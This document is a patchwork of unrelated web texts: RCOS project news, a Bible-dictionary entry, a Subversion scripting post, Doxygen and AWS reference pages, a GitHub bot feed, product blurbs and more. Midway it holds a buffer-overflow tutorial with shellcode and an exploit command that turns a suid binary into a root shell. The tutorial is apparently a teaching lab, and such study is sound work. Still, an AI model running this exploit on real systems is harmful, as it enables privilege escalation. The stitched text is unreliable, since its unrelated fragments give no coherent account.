{% extends "rcos/base.html" %} {% block rcoscontent %}
MobileNotifier (by Peter Hajas) has been downloaded more than 138000 times. Awesome Peter Hajas
A blog (by Leslie Hawthorne) in opensource,com mentions about rcos in the recent HFOSS workshop (under SIGCSE 2011 conference in Dallas), TX.
Another blog http://stormyscorner.com/2011/03/rpi-students-create-some-cool-things.html mentions about the cool projects done at RCOS! (as a aprt of HFOSS workshop at SIGCSE 2011 conference in Dallas, TX). Congratulations to Brian Michalski and and Graylin Kim Who had poster sessions on Community mapping and Open Legislation respectively.
David Doria is the latest community member to be featured in our Contributor Spotlight in open source.com. Have a look: http://opensource.com Dated 3/1/2011. Congratulations to David Doria
RCOS project MobileNotifier by Peter Hajas is on the front page of Engadget> for IPhones!
MobileNotifier a continuing project of Peter Hajas project is really generating a lot of buzz!
Here's a forum post about it:
Forum where it is discussed
Dave Doria, a lead peer mentor was nice enough to publish a short article about RCOS in Open Source - an online journal on open source (appeared on 2/11/2011). Congratulations to David Doria.
Poly has published (on December 12/8/2010) a very nice article on RPISEC during their CTF competition. Many members of RPISEC are also members of RCOS. There
has been a lot of co-operation between RPISEC and RCOS - pooling the resources
to achieve greater things. Ryan G, John McM, Alex Rad are mentioned by name
in that article.
Poly had published a nice
article on RCOS on November 10, 2010. That article may be found
here.
In Capture the Flag Competition in
Cyber Security Awareness Week at NY
Poly Nov. 2010 RPISEC (with team members Ryan Govostes, Adam
Comella, Jeremy Pope, and Shawn Denbow) came third behind two
teams from CMU. Ryan Govostes had been associated with RCOS.
Congratulations to Ryan, Adam, Jeremy and Shawn of the
RPISEC team.
Ease started as a summer 2009 rcos project by
Nate Stedman and currently devloped by Nate and
Rob got an excellent review
here. Their opening statement is "Better yet it (ease) has a very neat, animated cluttter-based
interface that makes OpenOffice.Org Impress look so Windows 95 in
comparison". Wow - That is an accomplishment!
Congratulations to Nate Stedman, Rob Carr
CERN uses Concerto for their digital signage displays. Please see
ConcertoScreens. Congratulations to Brian Zaik and the WTG team at RPI
Tim Horton, Matt Arsenault, Nate Stedman attended Gnome summitt in Boston on 6 and 7th of November.
Topics of discussion included Ease Nate and Rob's presentation software.
Blog about the Summit
Congratulations to Tim, Nate and Matt.
In the recent Honors convocation at RPI, the following RCOS people were honored.
Luke Perkins, Evan Patton, Allen Lavoie, David Doria, Nate Stedman,
Congratulations to Luke, Evan, Allen, Dave and Nate
For the spring Semester 2011, RPI is opening Evan Patton and group's ROCS, Rensselaer Online COurse Scheduler for all students at RPI. From a lightning talk
at the recent Jasig conference by Arlen Johnson on ROCS was received
enthusiastically by other universities. Course Scheduler is the offcial web site. Thanks to dotCIO's office (Arlen Johnson in particular), Registrar's office (Sharon Kunkel and Mike Conroy)
were extremely co-operative. Congratulations to
Evan Patton and UPE Group for proposing this as a RCOS project
Devin Ross RCOS alumni was interviewed by David Appleyard of Envato
for the recently published ebook
iPhone App
Entrepreneur. His entire interview may be found in here . Congratulations to Devin Ross
Alex, Joe, Peter in Times Union Paper - photographed during Mundie's (Microsoft) Talk
Luke Perkins is a senior in Computer Science who did an open source project with RCOS (during Summer 2010)
to create mimicbot to play starcraft game. Luke Perkins' bot (named mimicbot) won the first place in the competition.
His paper is also accepted in the conference. Congratulations to Luke for a job well done.
Gizmodo
In Wired
Congratulations Peter
a blog post about it:
and there's a LOT of buzz on Twitter!
Congratulations to Peter Hajas
Here are the results of Tournament 3 of the AIIDE 2010 Starcraft AI
Competition:
Results
As you can see, it was won by AI bot, Mimic Bot written by Luke Perkins, senior in CS and RCOS particpant:
Mimicbot
Luke has also uploaded the source code of Mimic Bot under GPLv2 here: Code
On a related note, a 6-page paper Luke has written on the terrain analysis choke point detection algorithm used in the BWTA project (
Terrain Analysis ) has been accepted by the AIIDE 2010 conference for publication and a poster presentation: Paper Details
Congratulations to Luke Perkins
Dr. Luis Ibanez Blog post about his open source teaching experience appeared in this blog. Congratulations to Dr. Ibanez
It is great to see some one is writing seedkit library for seed developed by Rob Carr and Tim Horton
Graylin Kim participating in the NY State Open Government.
Good presentations, and good presenters, are not a result of good software. But bad presentation software can make creating a good presentation much more challenging. Rather than complaining about poor presentation-ware, Robert Carr and Amy Wieliczka have been working on Glide: a Clutter/GTK-based presentation application to fill the gap. Sponsored by the Rensselaer Center for Open Source Software, Glide is a GNOME presentation program in its earliest stages. Glide is licensed under the GPLv3, is written in Vala and C, and attempts to do away with some of the baggage of standard presentation applications.Congratulations to Rob Carr
| Place | Team | University/Institute |
| First | Robert Escriva and Jay Smith, | Rensselear Polytechnic Institute |
| Second | Adam Camella and Andrew Zonenberg, | Rensselear Polytechnic Institute |
| Position/Rank | Team | School | Team Members |
| 1st Place | ppop | Carnegie Mellon University | Brian Pak, Andrew Wesie, David Kohlbrenner, Tyler Nighswander |
| 2nd Place | RPISEC | Rensselaer Polytechnic Institute | Alexandru Radocea, Ryan Govostes, Adam Comella, Andrew Zonenberg |


"TIMOTHY", SECOND EPISTLE TO was probably written a year or so after the first, and from Rome, where Paul was for a second time a prisoner, and was sent to Timothy by the hands of Tychicus. In it he entreats Timothy to come to him before winter, and to bring Mark with him (comp. Phil. 2:22). He was anticipating that “the time of his departure was at hand” (2 Timothy 4:6), and he exhorts his “son Timothy” to all diligence and steadfastness, and to patience under persecution (1:6-15), and to a faithful discharge of all the duties of his office (4:1-5), with all the solemnity of one who was about to appear before the Judge of quick and dead.
"TIMOTHY", SECOND EPISTLE TO was probably written a year or so after the first, and from Rome, where Paul was for a second time a prisoner, and was sent to Timothy by the hands of Tychicus. In it he entreats Timothy to come to him before winter, and to bring Mark with him (comp. Phil. 2:22). He was anticipating that “the time of his departure was at hand” (2 Timothy 4:6), and he exhorts his “son Timothy” to all diligence and steadfastness, and to patience under persecution (1:6-15), and to a faithful discharge of all the duties of his office (4:1-5), with all the solemnity of one who was about to appear before the Judge of quick and dead.


Score¶
The way the predictions are evaluated in the paper is by using the coefficient of determination between the predictions and the actual value. This is done for all the predictions at multiple library lengths. If the predictions for \(X_1\) are better than \(X_2\) than it is said that \(X_1\) influences \(X_2\).
In the plot above, the blue line has a higher forecast skill than the green line. This indicates that the blue system is forcing the green system. Another important feature is that they converge as the library length is increased. This indicates that the shadow manifold has been appropriately populated and novel predictions can be made.


Created as part of a team for Wellesley HACK's Fall 2016 Hackathon. Shortcut is a website that
is intended to map out the accesibility of college campuses. It also allows users to write
reviews and accesibility notes about certain buildings on campus. Shortcut is implemented using
a vertica database.
Made with Python.
Created as part of a group for an Intro to C++ course final project. Pokemon Run is a fun game based off
of the hit phone app "Pokemon Go". The game is set from the Pokemon's point of view, and the goal
is to dodge pokeballs and prevent being caught. Pokeballs are thrown at the player at random, and the more
balls the player dodges, the faster they are thrown. Player is also able to save their highscore.
Made with C++
Created as part of a pair for Data Structures Final Project. Zombie Trails is a spin off of the
popular classic, Oregont Trails.  Along the way, you meet
fellow straglers, fight zombies, and encounter both misfortune and good luck!
Made with Java.
Created as part of a team for Wellesley HACK's Spring 2016 Hackathon. Welp is a rating website
for Wellesley College's dining halls. It allows users to rate each of the school's dining halls
and give feedback on the food served that day. Users can use this to decide where to eat!
Made with Python.


{% set title="Event Planner" %} {% extends "base.html" %} {% block content %} {% if currentRoom() %}
You are viewing event: {{ currentRoom().name }} - Leave view
{% endif %} {% if currentUser() and not tasks and not currentRoom() %}No tasks here, start by creating an Event
{% else %}You need to Login to start with Eventplanner
{% endif %}


--- layout: post status: publish published: true title: Subversion Maintenance Scripts author: display_name: Geoff Lane login: admin email<EMAIL_ADDRESS>url: http://www.zorched.net author_login: admin author_email<EMAIL_ADDRESS>author_url: http://www.zorched.net date: '2006-09-27 18:22:14 -0400' date_gmt: '2006-09-28 00:22:14 -0400' categories: - Code - Automation tags: - subversion - apache - shell-scripting - version-control ---
With the recent release of Subversion 1.4 I'm going through the process of updating repositories. I often like to use multiple repositories because Subversion versions the entire repository with each checkin (Atomic commits rule!). When I do that, I group all of the repositories in the same directory. It makes it really easy to configure Apache with the SVNParentPath directive. And if you're using svn+ssh or something like that, then it's just easier to remember where they are.
{% highlight apache %}
The one obvious downside to having multiple repositories is managing things like backups and upgrades. You have a lot more to do than just dump and load a single repository. So to help handle that task, I created some simple shell scripts.
{% highlight bash %} #!/bin/sh
# Assumes a directory full of dump files # Creates a new SVN repository and loads the dump file into it
for i in *.dump; do # The %% syntax is a substring command in bash to strip off the # last occurrence of the string that follows so Foo.dump -> Foo repos=${i%%.dump}; svnadmin create $repos; svnadmin load $repos < $i; done {% endhighlight %}
{% highlight bash %} #!/bin/sh
if [ -z "$1" ]
then
echo "Usage: $0
# set up directories cur_dir=`pwd` # use these 2 if you're running on Cygwin under Windows # cur_cyg_dir=`pwd` # cur_dir=`cygpath -m $cur_cyg_dir` svn_dir=${cur_dir}/${1}
svnadmin create "$1" svn -m "Create default structure." mkdir file:///${svn_dir}/trunk file:///${svn_dir}/tags file:///${svn_dir}/branches
echo "done" {% endhighlight %}
Not that these are incredibly complex shell scripts, but they can do a lot of work while you do other things (like post to your blog). I hope they'll help someone out there.


Event = $eventTitle ?> on = $eventDate ?> wwas deleted by = $surname ?> = $name ?>. Your corresponding service / service request was removed.


Definition at line 87 of file get_factorial.py.
| def utilities.timing_measurements.get_factorial.calculate_factorial.get_factorial_iteration |
( |
|
given_number | ) |
|
|
static |
Method to determine the factorial of "number_to_compute" by iteration.
- Parameters
-
| given_number | - Number to determine the factorial of. |
- Returns
- the factorial of given_number (if it is a non-negative integer); else, return 'None'. O(n) method, where n is the number of test cases used.
Definition at line 149 of file get_factorial.py.
150 if isinstance(given_number, int):
151 if (0 == (given_number)
or (1 == given_number)):
153 elif (0 > given_number):
154 warnings.warn(
"The factorial of a negative number cannot be determined.")
158 while (1 < given_number):
159 result = result * given_number
160 given_number = given_number - 1
162 elif isinstance(given_number, float):
163 warnings.warn(
"The factorial of a floating-point number cannot be determined.")
166 warnings.warn(
"The factorial of a non-integer cannot be determined.")
def get_factorial_iteration(given_number)
Method to determine the factorial of "number_to_compute" by iteration.
| def utilities.timing_measurements.get_factorial.calculate_factorial.get_factorial_recursion |
( |
|
given_number | ) |
|
|
static |
Method to determine the factorial of "number_to_compute" by recursion.
- Parameters
-
| given_number | - Number to determine the factorial of. |
- Returns
- the factorial of given_number (if it is a non-negative integer); else, return 'None'. O(n) method, where n is the number of test cases used.
Definition at line 125 of file get_factorial.py.
126 if isinstance(given_number, int):
127 if (0 == (given_number)
or (1 == given_number)):
129 elif (0 > given_number):
130 warnings.warn(
"The factorial of a negative number cannot be determined.")
133 return given_number * calculate_factorial.get_factorial_recursion(given_number - 1)
134 elif isinstance(given_number, float):
135 warnings.warn(
"The factorial of a floating-point number cannot be determined.")
138 warnings.warn(
"The factorial of a non-integer cannot be determined.")
def get_factorial_recursion(given_number)
Method to determine the factorial of "number_to_compute" by recursion.
| def utilities.timing_measurements.get_factorial.calculate_factorial.process_optional_input_argument |
( |
| ) |
|
|
static |
Method to process the optional input argument.
If the number is not provided, use the value of "default_number".
- Returns
- - Nothing. O(1) method.
Definition at line 103 of file get_factorial.py.
105 if (2 > len(sys.argv)):
107 The optional input argument is not provided by the
109 We assume that the default number to determine the
110 factorial of is indicated by the value of
113 calculate_factorial.number_to_compute = calculate_factorial.default_number
115 calculate_factorial.number_to_compute = sys.argv[1]
def process_optional_input_argument()
Method to process the optional input argument.
| int utilities.timing_measurements.get_factorial.calculate_factorial.default_number = 10 |
|
static |
| int utilities.timing_measurements.get_factorial.calculate_factorial.does_not_exist = -1234567890 |
|
static |
| int utilities.timing_measurements.get_factorial.calculate_factorial.number_to_compute = 10 |
|
static |
The documentation for this class was generated from the following file:


Ostapenko Anatoliy
A shellcode — is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode.
You have access to a system with an executable binary that is owned by root, has the suid bit set, and is vulnerable to buffer overflow. We will now exploit it to gain shell access
#include <stdio.h>
#include <string.h>
void func(char *name)
{
char buf[100];
strcpy(buf, name);
printf("Welcome %s\n", buf);
}
int main(int argc, char *argv[])
{
func(argv[1]);
return 0;
}
void func(char *name)
{
char buf[100];
strcpy(buf, name);
printf("Welcome %s\n", buf);
}
$ gcc vuln.c -o vuln -fno-stack-protector -m32 -z execstack
# Setting up permissions
$ sudo chown root:test vuln
$ sudo chmod 550 vuln
$ sudo chmod u+s vuln
$ ls -l vuln
> -r-sr-x--- 1 root test 7392 Dec 22 00:27 vuln
objdump -d -M intel vuln
objdump -d -M intel vuln
xor ebx, ebx ; Set first syscall argument to zero
xor eax, eax ; eax now is zero
mov al, 0x17 ; syscall number of setuid is 0x17 (23)
int 0x80 ; Make the system call
xor eax, eax ; Clearing eax register
push eax ; Pushing NULL bytes
push 0x68732f2f ; Pushing '//sh'
push 0x6e69622f ; Pushing '/bin'
mov ebx, esp ; ebx now has address of '/bin//sh'
push eax ; Pushing NULL byte
mov edx, esp ; edx now has address of NULL byte
push ebx ; Pushing address of '/bin//sh'
mov ecx, esp ; ecx now has address of address of '/bin//sh' byte
mov al, 0x0b ; syscall number of execve is 0x0b (11)
int 0x80 ; Make the system call
$ nasm -f elf shellcode.asm
# Get the shellcode bytes:
$ objdump -d -M intel shellcode.o
\x31\xdb\x31\xc0\xb0\x17\xcd\x80
\x31\xc0\x50\x68\x2f\x2f\x73\x68
\x68\x2f\x62\x69\x6e\x89\xe3\x50
\x89\xe2\x53\x89\xe1\xb0\x0b\xcd
\x80
$ gdb -q vuln
Reading symbols from vuln...(no debugging symbols found)...done.
(gdb) break func
Breakpoint 1 at 0x8048456
(gdb) run $(python -c 'print "A"*116')
Starting program: /home/test/vuln $(python -c 'print "A"*116')
Breakpoint 1, 0x08048456 in func ()
(gdb) print $ebp
$1 = (void *) 0xffffce78
(gdb) print $ebp - 0x6c
$2 = (void *) 0xffffce0c
[40 bytes of NOP - sled]
[25 bytes of shellcode]
[39 times ‘A’ will occupy 39 bytes]
[4 bytes pointing in the middle of the NOP - sled: 0xffffce16]
$ ./vuln $(python -c
'print "\x90"*40 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68
\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1
\xb0\x0b\xcd\x80" + "A"*47 + "\x20\xce\xff\xff"')
����������������������������������������j
X�Rhn/shh//bi��RS��̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAA4���
# whoami
root


Remove downloads after a delay.
Remove after
minutes. Set to 0 to remove immediately after completed.
Remove downloads when starting Firefox.
Consider interrupted (failed) downloads complete.
Important:
Download Cleaner Lite cannot remove historical downloads.


--- layout: page title: "Metadata for the OASIS Security Assertion Markup Language (SAML) V2.0" description: "SAML profiles require agreements between system entities regarding identifiers, binding support and endpoints, certificates and keys, and so forth. A metadata specification is useful for describing this information in a standardized way. This document defines an extensible metadata format for SAML system entities, organized by roles that reflect SAML profiles. Such roles include that of Identity Provider, Service Provider, Affiliation, Attribute Authority, Attribute Consumer, and Policy Decision Point." ---
| Document Name: | OASIS Standard saml-metadata-2.0-os |
|---|---|
| Document URI: |
urn:oasis:names:specification:saml-metadata-2.0-os
|
| Online Version: |
http://docs.oasis-open.org/security/saml/v2.0/saml-metadata-2.0-os.pdf
|
| Organization: | Organization for the Advancement of Structured Information Standards (OASIS) |
| Series: | Standard |
| Abstract: | SAML profiles require agreements between system entities regarding identifiers, binding support and endpoints, certificates and keys, and so forth. A metadata specification is useful for describing this information in a standardized way. This document defines an extensible metadata format for SAML system entities, organized by roles that reflect SAML profiles. Such roles include that of Identity Provider, Service Provider, Affiliation, Attribute Authority, Attribute Consumer, and Policy Decision Point. |
application/samlmetadata+xml
Return to ( Series | Organization | all Specifications )


AWS Batch JobDefinition MountPoints
The
MountPoints
property type specifies mount points for data volumes in your container. This parameter
maps to
Volumes
in the Create a container section of the
Docker Remote API and the --volume
option to docker
run.
Syntax
To declare this entity in your AWS CloudFormation template, use the following syntax:
JSON
{ "ReadOnly" :
Boolean
, "SourceVolume" :String
, "ContainerPath" :String
}
YAML
ReadOnly:
Boolean
SourceVolume:String
ContainerPath:String
Properties
ReadOnly
-
If this value is
true
, the container has read-only access to the volume; otherwise, the container can write to the volume. The default value isfalse
.Required: no
Type: Boolean
Update requires: No Interruption
SourceVolume
-
The name of the volume to mount.
Required: no
Type: String
Update requires: No Interruption
ContainerPath
-
The path on the container at which to mount the host volume.
Required: no
Type: String
Update requires: No Interruption


Komodo
feed-github
Auto feed for all activities in GitHub. New notification as they happen in real-time.
Between 27-Dec-19 12:00 AM and 28-Dec-19 12:00 AM
GitHub
BOT
27-Dec-19 02:33 AM
siddhartha-crypto
[developer-docs:sidd] 1 new commit
`9e755c7`
develop gaming sdk tutorial 1 - siddhartha-crypto
GitHub
BOT
27-Dec-19 09:28 AM
ca333
[KomodoPlatform/komodo] Pull request closed: #252 sync master
ca333
[komodo:master] 12 new commits
`a2bc30c`
update nproc - ca333
`dcef326`
remove redundant comments - tonymorony
`86e4fed`
fixed nproc for OSX - tonymorony
`6cc041b`
Merge pull request #247 from KomodoPlatform/ton... - tonymorony
`0dc3cfc`
update univalue - ca333
[komodo] macOS-latest CI success on master
ca333
[KomodoPlatform/komodo] branch deleted: try
ca333
[KomodoPlatform/komodo] branch deleted: auto
ca333
[KomodoPlatform/komodo] branch deleted: revert-4-patch-2
ca333
[KomodoPlatform/komodo] branch deleted: tonymorony-readme-patch
ca333
[KomodoPlatform/komodo] branch deleted: tonymorony-patch-1
ca333
[KomodoPlatform/komodo] branch deleted: checknn
ca333
[KomodoPlatform/komodo] branch deleted: FSM
ca333
[KomodoPlatform/komodo] branch deleted: resolve_conflict_p214
ca333
[KomodoPlatform/komodo] branch deleted: add_commod
ca333
[KomodoPlatform/komodo] branch deleted: debug_thc
ca333
[KomodoPlatform/komodo] branch deleted: fix_PING
GitHub
BOT
27-Dec-19 09:46 AM
ca333
[komodo:dev] 1 new commit
`7b9f317`
add VRSC - ca333
GitHub
BOT
27-Dec-19 09:46 AM
[komodo] macOS-latest CI success on dev
GitHub
BOT
27-Dec-19 09:48 AM
ca333
[KomodoPlatform/komodo] Pull request opened: #253 add VRSC
smk762
[KomodoPlatform/komodo] Pull request review submitted: #253 add VRSC
matched to
https://github.com/KomodoPlatform/komodo/blob/master/src/assetchains.old
ca333
[KomodoPlatform/komodo] Pull request closed: #70 "Getting started" was not smooth for macOS
ca333
[KomodoPlatform/komodo] Pull request closed: #253 add VRSC
ca333
[komodo:beta] 2 new commits
`7b9f317`
add VRSC - ca333
`904560b`
Merge pull request #253 from KomodoPlatform/dev - ca333
[komodo] macOS-latest CI success on beta
ca333
[KomodoPlatform/komodo] Pull request opened: #254 sync master
add VRSC to assetchains.json
smk762
[KomodoPlatform/komodo] Pull request review submitted: #254 sync master
matches values in
https://github.com/KomodoPlatform/komodo/blob/master/src/assetchains.old
GitHub
BOT
27-Dec-19 10:33 AM
[komodo] Win Build success on master
GitHub
BOT
27-Dec-19 10:50 AM
[komodo] Win Build success on dev
GitHub
BOT
27-Dec-19 11:22 AM
[komodo] ubuntu-18.04 CI success on master
[komodo] GitHub Actions checks success on master
GitHub
BOT
27-Dec-19 11:43 AM
[komodo] ubuntu-18.04 CI failure on dev
[komodo] GitHub Actions checks failure on dev
GitHub
BOT
27-Dec-19 02:25 PM
ca333
[KomodoPlatform/komodo] Pull request closed: #254 sync master
ca333
[komodo:master] 3 new commits
`7b9f317`
add VRSC - ca333
`904560b`
Merge pull request #253 from KomodoPlatform/dev - ca333
`b9dc0f6`
Merge pull request #254 from KomodoPlatform/beta - ca333
[komodo] macOS-latest CI success on master
GitHub
BOT
27-Dec-19 03:27 PM
[komodo] Win Build success on master
GitHub
BOT
27-Dec-19 04:28 PM
[komodo] ubuntu-18.04 CI success on master
[komodo] GitHub Actions checks success on master
GitHub
BOT
27-Dec-19 05:19 PM
riem-delhi
[KomodoPlatform/developer-docs] Fork created: riem-delhi/developer-docs
GitHub
BOT
27-Dec-19 10:14 PM
ca333
[komodo:dev] 1 new commit
`758ec76`
use VRSC daemon - ca333
GitHub
BOT
27-Dec-19 10:15 PM
[komodo] macOS-latest CI success on dev
GitHub
BOT
27-Dec-19 10:44 PM
[komodo] Win Build failure on dev


|
ESP32Touch
0.1.0
ESP32 touch button driver with async callback interface
|
Functions | |
| void | enable_led () |
| void | disable_led () |
| void | setup () |
| void | loop () |
Variables | |
| constexpr uint8_t | led_pin = 2 |
| constexpr int | touch_io_off = 5 |
| constexpr int | touch_io_on = 4 |
| constexpr int | touch_io_toggle = 3 |
| constexpr uint8_t | touch_threshold = 92 |
| constexpr unsigned long | serial_baudrate = 115200 |
| ESP32Touch | buttons {} |
********************** ESP32Touch basic example ****************************
This registers three touch button inputs switching on/off and toggling an LED connected to GPIO 2 (on-board blue LED on many popular boards).
All of the operation takes place asynchronously via user-defined callback functions, which can be any type compatible with a C++ std::function object, i.e. plain global functions, static and non-static class or instance members or C++11 lambda expressions. The callbacks must have a signature of void(void).
For the sensor input pins, please again note that the touch API uses a different numbering scheme than the standard GPIO numbers. E.g. touch button no. 0 is GPIO 4.
I can also recommend the ESP32 pinout reference and reserved pins info from: https://randomnerdtutorials.com/esp32-pinout-reference-gpios/
GPIOs used in this example:
GPIO2: LED output, tied to GND via 220...470 Ohms
GPIO12: Touch sensor input for OFF
GPIO13: Touch sensor input for ON
GPIO15: Touch sensor input for toggling
Repository at: https://github.com/ul-gh/ESP32Touch 2020-02-25 Ulrich Lukas


FlarePlots are interactive diagrams for exploring dynamic networks. They can be used to visualize any type of network that changes over time, but many of our examples currently focus on interaction networks from molecular dynamics simulations. Try an example, or go to Generate Input and then upload the resulting JSON file here:
Upload JSON


This is our demo of the embedded payment widget. This allows you to incorporate the payment process into your company's site. This performs payment and can write information back to Business Central. Your site must be secured by SSL (TLS 1.2 or later) and be PCI compliant.
Go ahead -- give it a try! Just enter the amount of payment you'd like to test and click "Pay Now". To simulate a declined payment, enter the amount 504.00. To simulate a server error, enter the amount 500.00.
Our seasonal menu features delicious snacks, baked goods, and even full meals perfect for breakfast or lunchtime. We source our ingredients from local, oragnic farms whenever possible, alongside premium vendors for specialty goods.
Travelling the world for the very best quality coffee is something take pride in. When you visit us, you'll always find new blends from around the world, mainly from regions in Central and South America. We sell our blends in smaller to large bulk quantities. Please visit us in person for more details.